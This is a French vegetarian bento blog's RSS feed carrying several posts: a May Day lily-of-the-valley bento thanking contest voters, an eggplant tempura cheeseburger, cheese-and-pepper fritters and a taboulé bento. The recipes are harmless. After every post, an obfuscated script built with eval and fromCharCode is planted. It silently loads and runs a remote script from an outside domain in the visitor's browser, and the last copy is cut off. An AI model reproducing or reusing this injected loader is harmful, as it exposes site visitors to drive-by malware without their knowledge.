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	<title>Mon Bento Végétarien &#187; mozzarella</title>
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	<description>Une site avec des bentos mais pas que</description>
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		<title>1er mai : Un Bento Muguet pour vous Remercier ♥ !</title>
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		<pubDate>Wed, 01 May 2013 14:42:16 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
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		<description><![CDATA[Merci ! Merci ! Merci ! Ça y est les résultats sont tombés ! Mon Bento Pasta e Vespa est arrivé 8eme au classement final du concours Bento&#38;co 2013 ! Félicitations à Yunita et Erika, les heureuses élues du jury, qui ont gagné un voyage à Kyoto (cliquez ici pour admirer leurs Bento). Et un [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2013/05/Bento-muguet-1er-mai-merci.jpg"><img class="aligncenter size-large wp-image-3556" title="Bento muguet 1er mai merci" src="http://www.monbentovegetarien.com/wp-content/uploads/2013/05/Bento-muguet-1er-mai-merci-810x1024.jpg" alt="" width="486" height="614" /></a></p>
<h3 style="text-align: center;">Merci ! Merci ! Merci !</h3>
<p style="text-align: center;">
<p>Ça y est les résultats sont tombés ! Mon Bento <a href="http://www.monbentovegetarien.com/2013/04/25/bento-pasta-e-vespa-pates-fraichespesto-de-cressonricotta/" target="_blank">Pasta e Vespa</a> est arrivé 8eme au classement final du concours Bento&amp;co 2013 !</p>
<p>Félicitations à Yunita et Erika, les heureuses élues du jury, qui ont gagné un voyage à Kyoto (cliquez <a href="http://www.bentoandco.com/pages/gagnants-concours-2013" target="_blank">ici </a>pour admirer leurs Bento). Et un ÉNORME Bravo à Marie du blog <a href="http://parikkobento.blogspot.fr/" target="_blank">ParrikObento</a> qui est arrivée 1ere du <a href="http://www.bentoandco.com/pages/classement-des-finalistes-concours-international-de-bento-2013" target="_blank">Top 20</a> avec son bento Hanami. Je suis super fan de son travail !</p>
<p>Mention spéciale aussi à ma copine Jenn du blog <a href="http://bentobird.blogspot.fr/" target="_blank">Bentobird</a> et à <a href="https://www.facebook.com/photo.php?fbid=544193702299433&amp;set=a.544187005633436.1073741826.123586087693532&amp;type=3&amp;theater" target="_blank">son bento</a> aux couleurs chatoyantes que j&rsquo;aurais placé beaucoup plus haut dans le classement (il est arrivé 10eme).</p>
<p>Un petit clic par <a href="http://www.bentoandco.com/pages/classement-des-finalistes-concours-international-de-bento-2013" target="_blank">ici</a> pour admirer les 20 Bento du classement final et un petit clic par <a href="http://blog.bentoandco.com/2013/04/30/concours-2013-les-resultats-du-vote/" target="_blank">là</a> pour visualiser les résultats du concours en chiffres.</p>
<p>Je vous invite aussi à aller jeter un coup d&rsquo;oeil aux <a href="https://www.facebook.com/media/set/?set=a.544187005633436.1073741826.123586087693532&amp;type=1" target="_blank">349 Bento</a> présentés aux concours. Il y en a de vraiment magnifiques ! J&rsquo;aime en particulier celui de <a href="http://blameitonthebento.blogspot.fr/2013/04/totoro-italiano-bento.html" target="_blank">blame it on the Bento</a> avec son <a href="https://www.facebook.com/photo.php?fbid=544187855633351&amp;set=a.544187005633436.1073741826.123586087693532&amp;type=3&amp;theater" target="_blank">Totoro</a> en ravioli et celui de <a href="http://senchihirobento.over-blog.com/article-bento-pasta-concours-bento-and-co-2013-117353322.html" target="_blank">Senchihiro</a> avec son <a href="https://www.facebook.com/photo.php?fbid=544190035633133&amp;set=a.544187005633436.1073741826.123586087693532&amp;type=3&amp;src=https%3A%2F%2Ffbcdn-sphotos-h-a.akamaihd.net%2Fhphotos-ak-prn1%2F922744_544190035633133_1888251488_n.jpg&amp;size=960%2C720" target="_blank">Hello Kitty</a> en pâtes maison.</p>
<p>Je donnerais le prix de la meilleure idée de thème au <a href="https://www.facebook.com/photo.php?fbid=544187705633366&amp;set=a.544187005633436.1073741826.123586087693532&amp;type=3&amp;src=https%3A%2F%2Ffbcdn-sphotos-b-a.akamaihd.net%2Fhphotos-ak-ash3%2F941329_544187705633366_374691281_n.jpg&amp;size=960%2C807" target="_blank">Bento la belle et le clochard</a> et le prix du grand Lol au <a href="https://www.facebook.com/photo.php?fbid=544188062299997&amp;set=a.544187005633436.1073741826.123586087693532&amp;type=3&amp;src=https%3A%2F%2Ffbcdn-sphotos-a-a.akamaihd.net%2Fhphotos-ak-frc1%2F600925_544188062299997_1361931827_n.jpg&amp;size=960%2C549" target="_blank">Bento gangnam style</a> (trop drôle).</p>
<p>Grâce à vous je vais certainement recevoir de beaux cadeaux ! En guise de remerciement j&rsquo;ai eu envie de vous préparer un petit Bento et comme aujourd&rsquo;hui c&rsquo;est le 1er mai, un brin de muguet s&rsquo;imposait.</p>
<p>Dans mon Bento il y a de la <a href="https://twitter.com/BentoVegetarien/status/329335310527901698/photo/1" target="_blank">pizza</a> de chez <a href="http://www.parisbouge.com/mag/articles/meli-mellow-la-bagelmania-s-installe-dans-le-xx-eme-812" target="_blank">Meli Mellow</a> (au bon gout de vraie pizza italienne et à la pâte toute fine), de l&rsquo;avocat citronné, 2 petits cœurs de tomate jaune, de la salade et des olives (fourrées à l&rsquo;avocat).</p>
<p>Pour faire le muguet j&rsquo;ai utilisé du concombre en guise de feuilles, de la roquette effeuillée en guise de tige et de la mozzarella pour faire les clochettes.</p>
<h3 style="text-align: center;">Voilà !</h3>
<h2 style="text-align: center;"><span style="color: #fa8072;">♥ </span>Encore un Grand Merci à Tous pour vos Votes et vos Partages <span style="color: #fa8072;">♥</span></h2>
<h3 style="text-align: center;">Je vous souhaite un Joyeux 1er Mai (et de Joyeux ponts par la même occasion) !</h3>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<item>
		<title>Burger Végétarien : Le Tempura Cheese Burger (à l&#8217;Aubergine)</title>
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		<pubDate>Fri, 15 Jun 2012 06:07:13 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
				<category><![CDATA[Recettes]]></category>
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		<description><![CDATA[Vendredi Série + Home Made Junk Food : 2ème Épisode ! La semaine dernière je vous avez présenté mes Burgers aux Beignets de Poivron Vert (à déguster en visionnant les fins de saisons de vos séries US préférées). Aujourd&#8217;hui je vous propose de tester mes Tempura Cheese Burgers à l&#8217;aubergine ! Je vous préviens ils [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">Vendredi Série + Home Made Junk Food : 2ème Épisode !</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/tempura-burger.jpg"><img class="aligncenter size-large wp-image-2339" title="tempura burger" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/tempura-burger-786x1024.jpg" alt="" width="472" height="614" /></a></p>
<p style="text-align: left;">La semaine dernière je vous avez présenté mes <a href="http://www.monbentovegetarien.com/2012/06/08/beignets-de-poivrons-verts-ou-les-diy-hot-cheese-nuggets/" target="_blank">Burgers aux Beignets de Poivron Vert</a> (à déguster en visionnant les fins de saisons de vos séries US préférées). Aujourd&rsquo;hui je vous propose de tester mes Tempura Cheese Burgers à l&rsquo;aubergine !</p>
<p style="text-align: center;">Je vous préviens ils sont à tomber&#8230;</p>
<p style="text-align: left;">
<p style="text-align: center;">
<p style="text-align: left;"><strong><span style="text-decoration: underline;">Pour les tempura</span> : </strong></p>
<p style="text-align: left;">- 1 aubergine débitée en rondelles d&rsquo;un peu moins d&rsquo;1/2 centimètre</p>
<p style="text-align: left;">- 100 gr de farine</p>
<p style="text-align: left;">- 15 cl d&rsquo;eau gazeuse qui sort du frigo</p>
<p style="text-align: left;">- 1 pincée de sel</p>
<p style="text-align: left;">- huile pour la friture</p>
<p style="text-align: left;"><span style="color: #888888;"><em>Faire chauffer l&rsquo;huile (160° si vous avez une friteuse électrique). Mélanger la farine et l&rsquo;eau gazeuse dans un petit bol. Préparer une assiette avec du papier absorbant.</em></span></p>
<p style="text-align: left;"><span style="color: #888888;"><em>Quand l&rsquo;huile est à température il suffit de tremper les tranches d&rsquo;aubergine dans la pâte à tempura et de les déposer dans la friteuse. Retourner les beignets de temps en temps, laisser frire jusqu&rsquo;à ce qu&rsquo;ils soient dorés et disposer sur la papier absorbant. Une petite pincée de sel sur les tempura et hop c&rsquo;est terminé !</em></span></p>
<p style="text-align: left;"><strong><span style="text-decoration: underline;">Pour deux burgers</span> :</strong></p>
<p style="text-align: left;">- 1 tomate en tranches</p>
<p style="text-align: left;">- 4 tranches de fromage à burger</p>
<p style="text-align: left;">- 1 boule de mozzarella salée et coupée en deux</p>
<p style="text-align: left;">- quelques feuilles de roquette</p>
<p style="text-align: left;">- quelques copeaux de parmesan</p>
<p style="text-align: left;">- mayonnaise (facultatif)</p>
<p style="text-align: left;">-  2 pains à  burger</p>
<p style="text-align: left;">J&rsquo;ai une préférence pour les <a href="http://www.monbentovegetarien.com/2011/02/28/burgers-vegetariens-coleslawmozzarella-panee/" target="_blank">buns faits maison</a> mais faute de mieux je  trouve que les hamburgers géants de jacquet sont de loin les meilleurs  du commerce.</p>
<p style="text-align: left;">
<p style="text-align: left;">La suite est un jeu d&rsquo;enfant, mais Attention le TIMING est très important : le défi c&rsquo;est tout servir chaud en même temps et de ne rien cramer.</p>
<p style="text-align: center;"><strong>Moi j&rsquo;ai procédé comme ça&#8230;</strong></p>
<p style="text-align: center;"><em><span style="color: #fa8072;">Si vous faites des frites, lancez les pour un 1er bain à 160°.</span></em></p>
<p style="text-align: center;"><em><span style="color: #808080;">Sortir la grille du four. Allumer le four (chaleur maximale).</span></em></p>
<p style="text-align: center;"><em><span style="color: #9acd32;">Sur la grille on dispose le pain, avec 1 tranche de fromage à burger sur les faces sans sésame/1 tranche de fromage à burger + 1 demi-mozza sur les faces avec sésame.</span></em></p>
<p style="text-align: center;"><em><span style="color: #fa8072;">On enfourne le tout. On check les frites.</span></em></p>
<p style="text-align: center;"><em><span style="color: #808080;">Quand les frites ont l&rsquo;air presque cuites mais encore jaunes, on monte la température de la friteuse à 190° pour quelques minutes.</span></em></p>
<p style="text-align: center;"><em><span style="color: #9acd32;">On ouvre le four, on rajoute 3 ou 4 tempura sur les faces sans sésame. On referme le four.</span></em></p>
<p style="text-align: center;"><em><span style="color: #fa8072;">On prépare 2 assiettes prêtes à réceptionner les burgers.</span></em></p>
<p style="text-align: center;"><em><span style="color: #808080;">On prépare les boissons.</span></em></p>
<p style="text-align: center;"><em><span style="color: #9acd32;">On prépare la série.</span></em></p>
<p style="text-align: center;"><em><span style="color: #fa8072;">On re-check les frites, en théorie elles sont dorées et croustillantes. On les sort et on les sale.</span></em></p>
<p style="text-align: center;"><em><span style="color: #808080;">On sort les burgers, on les transfert dans les assiettes &gt;&gt; Tranches de tomate sur les tempura &gt;&gt; Roquette et parmesan sur la mozzarella &gt;&gt; Mayo sur les tomates si on aime ça.</span></em></p>
<p><em>(À la sortie du four la mozza doit être bien chaude mais pas colorée.  Si on allait jusqu&rsquo;à la coloration le pain serait trop cuit)</em></p>
<p style="text-align: center;"><em><span style="color: #9acd32;">On referme les burgers &gt;&gt; <span style="color: #fa8072;">On rajoute une poignée de frites &gt;&gt;</span> <span style="color: #808080;">On appuie sur play </span> </span></em></p>
<p style="text-align: center;"><strong><em><span style="color: #9acd32;"><span style="color: #000000;"> </span></span></em></strong></p>
<p style="text-align: center;"><em><span style="color: #9acd32;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/tempura-aubergine1-903x10241.jpg"><img class="aligncenter size-full wp-image-2408" title="tempura-aubergine1-903x1024" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/tempura-aubergine1-903x10241.jpg" alt="" width="413" height="468" /></a><br />
</span></em></p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<h3 style="text-align: center;"><strong><em>Et on s&rsquo;Régale !</em></strong></h3>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Beignets de Poivron Vert : Ou les DIY Hot Cheese Nuggets</title>
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		<pubDate>Fri, 08 Jun 2012 06:33:08 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
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		<description><![CDATA[Alors oui on est en pleine période pré-estivale, menus légers, p&#8217;tites salades et tout&#8230; Oui&#8230; C&#8217;est vrai&#8230; Mais c&#8217;est AUSSI la période des fins de saisons des Séries US ! Oui Madame ! Et ça chez nous c&#8217;est sacré ! Il est venu le temps des marathons tv ! Il est venu le joli temps [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Alors oui on est en pleine période pré-estivale, menus légers, p&rsquo;tites salades et tout&#8230;</p>
<p>Oui&#8230; C&rsquo;est vrai&#8230; Mais c&rsquo;est AUSSI  la période des fins de saisons des Séries US ! Oui Madame ! Et ça chez nous c&rsquo;est sacré !</p>
<p>Il est venu le temps des marathons tv ! Il est venu le joli temps  du dénouement et de la Junk Food !</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/hot-cheeze-nugg-Copie.jpg"><img class="aligncenter size-large wp-image-2133" title="hot cheeze nugg - Copie" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/hot-cheeze-nugg-Copie-1024x639.jpg" alt="" width="614" height="383" /></a></p>
<p style="text-align: center;">
<p>Moi perso, je suis fan des Hot cheese nuggets, des beignets au fromage et au piment. Et j&rsquo;avais TRÈS envie d&rsquo;essayer d&rsquo;en faire à la maison.</p>
<p>La junk food c&rsquo;est bien des fois, mais c&rsquo;est quand  même toujours meilleur quand on fait les choses soi même.</p>
<p>On sait ce qu&rsquo;il y a dedans, et au moins on ne se retrouve pas avec des nuggets de fromage qui sentent le poisson (vous voyez ce que je veux dire amis végétariens&#8230;).</p>
<p>J&rsquo;ai donc bidouillé la recette qui va suivre et le résultat m&rsquo;a ravie ! En toute modestie, ce sont les MEILLEURS Hot Cheese Nuggets que j&rsquo;aie jamais mangé. Et oserais-je vous dire que j&rsquo;en ai mangé &laquo;&nbsp;quelques-uns&nbsp;&raquo; dans ma vie&#8230;?</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/6-burger.jpg"><img class="aligncenter size-full wp-image-2220" title="6 burger" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/6-burger.jpg" alt="" width="287" height="416" /></a></p>
<p>Bref&#8230; Je n&rsquo;avais pas de piments, et j&rsquo;ai fait avec ce que j&rsquo;avais : des poivrons, des restes de fromage et du tabasco.</p>
<p>Moi j&rsquo;ai mis de la mozza, du comté et du brie, mais vous pouvez utiliser n&rsquo;importe quel fromage qui traine dans votre frigo. Vous savez le p&rsquo;tit bout de gouda ou de munster dont vous ne savez que faire.</p>
<p>C&rsquo;est bien connu : Les Cheese Nuggets ont été inventés pour se débarrasser des vielles croutes de fromage !</p>
<p>Gardez à l&rsquo;esprit une seule chose : 200 gr de Fromage pour 200 gr de poivron</p>
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/planchette-Copie-Copie.jpg"><img class="aligncenter size-large wp-image-2138" title="planchette - Copie - Copie" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/planchette-Copie-Copie-1024x653.jpg" alt="" width="553" height="353" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;"><strong><span style="text-decoration: underline;">Pour 12 beignets il vous faut</span></strong> :</p>
<p style="text-align: center;">- 70 gr de Comté</p>
<p style="text-align: center;">- 20 gr de Brie</p>
<p style="text-align: center;">- 110 gr de Mozzarella</p>
<p style="text-align: center;">- 200 gr de Poivron vert épépiné (2 poivrons)</p>
<p style="text-align: center;">- 110 gr de farine</p>
<p style="text-align: center;">- 1 œuf</p>
<p style="text-align: center;">- Tabasco</p>
<p style="text-align: center;">- sel</p>
<p style="text-align: center;">- huile pour la friture</p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/mixer.jpg"><img class="size-large wp-image-2147    aligncenter" title="mixer" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/mixer-637x1024.jpg" alt="" width="220" height="354" /></a></p>
<p style="text-align: center;">Mettre le poivron, le fromage et l’œuf dans votre blender. Mixer jusqu&rsquo;à obtention d&rsquo;un mélange homogène. Ajouter la farine (en 2 fois c&rsquo;est plus facile).</p>
<p style="text-align: center;">Mixer à nouveau, jusqu&rsquo;à intégration totale de la farine. Ajouter le sel et le tabasco, re-mixer un petit coup, gouter et rectifier à votre gout.</p>
<p style="text-align: center;">Oui parce que les beignets peuvent être plus ou moins Hot. C&rsquo;est vous qui voyez ! Moi je les aime très très hot alors j&rsquo;ai mis beauuuucoup de tabasco.</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/congelo.jpg"><img class="size-large wp-image-2140  aligncenter" title="congelo" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/congelo-552x1024.jpg" alt="" width="212" height="394" /></a></p>
<p>Transvaser le mélange dans un moule à cake, en silicone de préférence (c&rsquo;est plus facile pour le démoulage). Mettre au congélateur pendant 3 ou 4 h.</p>
<p><span style="color: #808080;"><em>C&rsquo;est une opération tout bénef puisqu&rsquo;elle permet de manipuler la pâte plus facilement et d&rsquo;obtenir des beignets bien croustillants (#chocThermique). Quelques heures plus tard vous aurez donc une belle briquette toute verte prête à débiter en 12 rectangles environ.</em></span></p>
<p><span style="color: #808080;"><em>Attention ! Avant de couper votre briquette, pensez à faire chauffer votre huile (pas comme moi quoi). Oui parce que la pâte décongèle à la vitesse de la lumière. Du coup mes 1ers beignets étaient très jolis mais les derniers un peu moins.</em></span></p>
<p>Faire chauffer son huile. (Pour info j&rsquo;ai réglé ma friteuse sur 160°)</p>
<p>Quand l&rsquo;huile est à température, sortir sa briquette du congélo, la démouler et débiter rapido presto.</p>
<p>Déposer les rectangles de pâte dans le bain d&rsquo;huile à l&rsquo;aide d&rsquo;une <a href="http://www.darty.com/nav/achat/petit_electromenager/cuisson_quotidienne/ustensile_cuisine/tavola_swiss_pinto_toaster_clip.html#ectrans=1" target="_blank">pince en bois</a> (si possible). Garder le beignet quelques seconde au bout de la pince et lâcher délicatement, (ça évitera que les beignets ne se collent entre eux ou sur le panier de la friteuse).</p>
<p><span style="color: #99cc00;"><em>Si vous avez une petite friteuse, n&rsquo;hésitez pas a cuire les beignets en 2 fois. Ils ont besoin d&rsquo;un minimum d&rsquo;espace pour cuire convenablement.</em></span></p>
<p>Jetez un coup d’œil à vos beignets, guettez la couleur. Il faut les sortir quand il deviennent &laquo;&nbsp;golden brown&nbsp;&raquo;, comme disent nos amis anglo-saxons. Marron doré quoi !</p>
<p>Disposer les nuggets sur du papier absorbant, pour enlever l’excédent d&rsquo;huile.</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/beignets.jpg"><img class="aligncenter size-large wp-image-2144" title="beignets" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/beignets-1024x641.jpg" alt="" width="473" height="297" /></a></p>
<p style="text-align: center;">Et voilà !</p>
<p style="text-align: center;">
<p style="text-align: center;">Les beignets sont délicieux et se suffisent laaaargement à eux même.</p>
<p style="text-align: center;">Mais j&rsquo;ai décidé de pousser le vice et de les disposer dans des pains à burger toastés avec du fromage, des tranches de tomate, de la salade et de la mayonnaise.</p>
<p style="text-align: center;">Et euh&#8230; comment dire&#8230;?</p>
<p style="text-align: center;"><strong>Ça</strong> <strong>DÉCHIRE</strong> !</p>
<p style="text-align: center;">(C&rsquo;est comme ça qu&rsquo;on disait quand j&rsquo;étais jeune)</p>
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/burgers.jpg"><img class="aligncenter size-large wp-image-2146" title="burgers" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/burgers-695x1024.jpg" alt="" width="334" height="491" /></a></p>
<p style="text-align: center;">Si à ça vous ajoutez des frites maison <strong>divines</strong>, vous obtenez un soirée &laquo;&nbsp;Home Made Junk Food&nbsp;&raquo; <strong>PARFAITE</strong>&#8230; Et vous êtes bons pour des <a href="http://www.monbentovegetarien.com/2012/06/06/bento-mr-vitelotte/" target="_blank">bento riz et légumes à la vapeur</a> pour les jours qui suivront !</p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento Taboulé</title>
		<link>http://beta.monbentovegetarien.com/2012/03/29/bento-taboule/</link>
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		<pubDate>Thu, 29 Mar 2012 05:06:20 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
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		<description><![CDATA[Aujourd&#8217;hui il y a du Taboulé dans mon bento ! Normalement je pars du principe  qu&#8217;un bon taboulé nécessite du temps et du travail (genre hacher menu plein d&#8217;trucs et laisser reposer au moins une nuit). Celui-là m&#8217;a pris 15 minutes et zéro effort et s&#8217;est avéré pourtant très bon. Comme quoi des fois la [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">Aujourd&rsquo;hui il y a du Taboulé dans mon bento !</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/bento-taboulé.jpg"><img class="aligncenter size-large wp-image-1692" title="bento taboulé" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/bento-taboulé-743x1024.jpg" alt="" width="401" height="553" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">Normalement je pars du principe  qu&rsquo;un bon taboulé nécessite du temps et du travail (genre hacher menu plein d&rsquo;trucs et laisser reposer au moins une nuit). Celui-là m&rsquo;a pris 15 minutes et zéro effort et s&rsquo;est avéré pourtant très bon. Comme quoi des fois la simplicité c&rsquo;est bien aussi !</p>
<p>Dans mon petit taboulé tout simple il y a donc de la semoule, des raisins secs, de la tomate, du cumin, un peu d&rsquo;huile d&rsquo;olive et pleiiiiiin de menthe fraiche.</p>
<p style="text-align: left;">J&rsquo;ai mis dans un bol les dés de tomates, les raisins secs, du sel, le cumin et la semoule. J&rsquo;ai ajouté l’équivalent de la quantité de semoule en eau bouillante et couvert 5 minutes. Ensuite j&rsquo;ai ajouté un filet d&rsquo;huile d&rsquo;olive et remué la semoule à la fourchette. J&rsquo;ai laissé refroidir 10 minutes et j&rsquo;ai ajouté la menthe.</p>
<p style="text-align: left;">Dans ce bento il y a aussi du raisin rose avec des copeaux de parmesan, des radis, des olives noires, des tranches de concombre et des fleurs de mozzarella/<a href="http://www.monbentovegetarien.com/2011/02/26/les-graines-de-nigelle/" target="_blank">graines de nigelle</a>.</p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fr